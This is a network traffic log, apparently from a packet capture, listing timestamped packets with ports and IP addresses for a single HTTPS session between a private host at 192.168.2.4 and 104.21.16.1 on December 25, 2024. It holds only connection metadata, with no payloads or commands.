Dec 25, 2024 15:09:14.982115984 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.982235909 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.982917070 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.982970953 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.982978106 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.983021975 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.986018896 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.986085892 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.986093998 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.989303112 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.989337921 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.989366055 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.989372969 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.989398956 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.991595984 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.991648912 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.991657019 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.991695881 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.993175030 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.993232965 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.000204086 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.000266075 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.000273943 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.002347946 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.002418041 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.002425909 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.055501938 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.074557066 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.074579954 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.074635983 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.074647903 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.074683905 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.074707985 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.075654984 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.075726032 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.077893972 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.077960968 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.127695084 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.127736092 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.127769947 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.127783060 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.127823114 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.161866903 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.161967039 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.163006067 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.163089991 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.165308952 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.165380001 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.168544054 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.168611050 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.168626070 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.173489094 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.173511028 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.173588037 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.173604012 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.175702095 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.175776005 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.175786018 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.175827980 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.178105116 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.178174019 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.179084063 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.179162979 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.181427002 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.181499004 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.182900906 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.182959080 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.183723927 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.183784008 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.184602976 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.184660912 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.187767982 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.187855005 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.187865973 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.187911034 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.193409920 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.193486929 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.195156097 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.195239067 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.198257923 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.198318958 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.198329926 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.243025064 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.267388105 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.267457008 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.267472029 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.318943977 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.318964958 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.319020987 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.319036961 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.319068909 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.353780985 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.353849888 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.353864908 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.353920937 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.358988047 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.359018087 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.359054089 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.359065056 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.359091997 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.359112978 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.360702991 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.360761881 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.363936901 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.364001036 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.364007950 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.364058018 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.366261959 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.366322041 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.367047071 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.367100954 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.367902994 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.367966890 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.373471022 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.373512030 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.373539925 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.373548985 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.373589039 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.374444008 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.374499083 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.374507904 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.374553919 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.377424955 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.377485037 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.377492905 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.378269911 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.378401041 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.378408909 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.385205984 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.385242939 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.385276079 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.385288000 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.385335922 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.386019945 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.386075020 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.387494087 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.387545109 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.389888048 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.389955044 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.389962912 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.390002966 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.459352970 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.459492922 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.462212086 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.462254047 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.462300062 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.462313890 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.462323904 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.508686066 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.511975050 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.512013912 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.512099028 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.512113094 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.512164116 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.548113108 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.548206091 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.548218012 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.548264980 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.551302910 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.551381111 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.551388025 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.553061962 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.553122997 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.553132057 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.557846069 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.557868004 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.557930946 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.557941914 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.557970047 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.560971022 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.561039925 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.561049938 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.565866947 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.565892935 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.565944910 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.565953970 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.565983057 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.567452908 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.567513943 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.567522049 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.569880962 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.569948912 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.569958925 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.570005894 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.578140974 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.578180075 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.578214884 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.578222990 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.578250885 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.578264952 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.579499960 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.579559088 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.651560068 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.651583910 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.651679993 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.651695967 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.651755095 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.655725956 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.655764103 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.655797958 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.655813932 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.655823946 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.655858994 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.739449024 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.739476919 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.739568949 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.739583969 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.739691973 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.744914055 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.744940996 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.744990110 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.744998932 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.745031118 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.745052099 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.750413895 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.750436068 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.750475883 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.750483036 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.750514030 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.750533104 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.756037951 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.756058931 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.756104946 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.756112099 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.756135941 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.756160021 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.760962963 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.760986090 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.761058092 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.761066914 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.761095047 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.761123896 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.770499945 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.770520926 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.770582914 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.770591021 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.770620108 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.770648003 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.776010990 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.776034117 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.776086092 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.776093960 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.776129961 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.776143074 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.847624063 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.847647905 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.847724915 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.847745895 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.848254919 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.931946039 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.931972027 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.932023048 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.932035923 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.932061911 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.932079077 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.937402964 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.937424898 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.937460899 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.937467098 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.937491894 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.937505960 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.943089008 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.943113089 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.943151951 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.943161964 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.943172932 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.943203926 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.947968006 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.947990894 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.948048115 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.948055983 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.948085070 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.948101044 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.953455925 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.953479052 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.953581095 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.953589916 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.954133987 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.962728977 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.962754011 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.962799072 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.962809086 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.962840080 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.962860107 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.968241930 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.968271017 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.968316078 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.968322992 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:15.968353987 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:15.968377113 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.039844990 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.039866924 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.039916992 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.039935112 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.039958000 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.039984941 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.124248028 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.124274969 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.124429941 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.124429941 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.124458075 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.124520063 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.129690886 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.129713058 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.129772902 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.129781008 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.129829884 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.135349989 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.135371923 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.135417938 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.135426044 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.135443926 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.135473967 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.140243053 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.140264988 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.140307903 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.140316010 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.140341997 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.140377045 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.145761013 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.145781994 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.145834923 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.145843029 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.145895958 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.154989958 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.155016899 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.155090094 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.155097961 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.155148983 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.160362005 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.160386086 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.160432100 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.160439968 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.160468102 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.160489082 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.232764959 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.232786894 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.232881069 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:16.232919931 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:16.232965946 CET	49734	443	192.168.2.4	104.21.16.1
